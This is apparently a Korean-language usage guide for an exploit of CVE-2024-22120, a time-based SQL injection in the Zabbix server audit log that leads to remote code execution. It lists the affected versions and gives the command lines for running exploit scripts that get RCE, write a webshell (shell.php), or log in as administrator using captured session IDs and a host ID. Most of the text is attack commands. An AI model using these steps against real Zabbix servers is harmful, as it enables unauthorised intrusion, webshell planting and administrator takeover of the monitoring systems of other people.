
Zabbix 서버 감사 로그의 시간 기반 SQL 인젝션 --> RCE
6.0.0 - 6.0.27
6.4.0 - 6.4.12
7.0.0alpha1
https://packetstormsecurity.com/files/137454/Zabbix-3.0.3-Remote-Command-Execution.html
낮은 권한의 사용자
스크립트 실행 권한이 있어야 합니다.

패킷을 캡처하여 sessionid와 hostid를 얻습니다:

python -m pip install requests pwntools
python CVE-2024-22120-RCE.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084

이미 Administrator 권한 사용자의 세션 ID가 있다면 다음을 시도하세요:
python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --aid fe647173d7769d55a43f161a68b256e0 --hostid 10084 --file shell.php
그렇지 않으면:
python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084 --shell shell.php
하지만 거의 대부분은 실행 사용자가 zabbix이기 때문에 echo를 통해 웹셸에 쓸 수 없습니다:

python CVE-2024-22120-LoginAsAdmin.py --ip 192.168.198.136 --sid decf4ef56988027d62ca1db2a00d8346 --hostid 10084

테스트:

교체 후 새로고침:

관리자로 로그인!!!
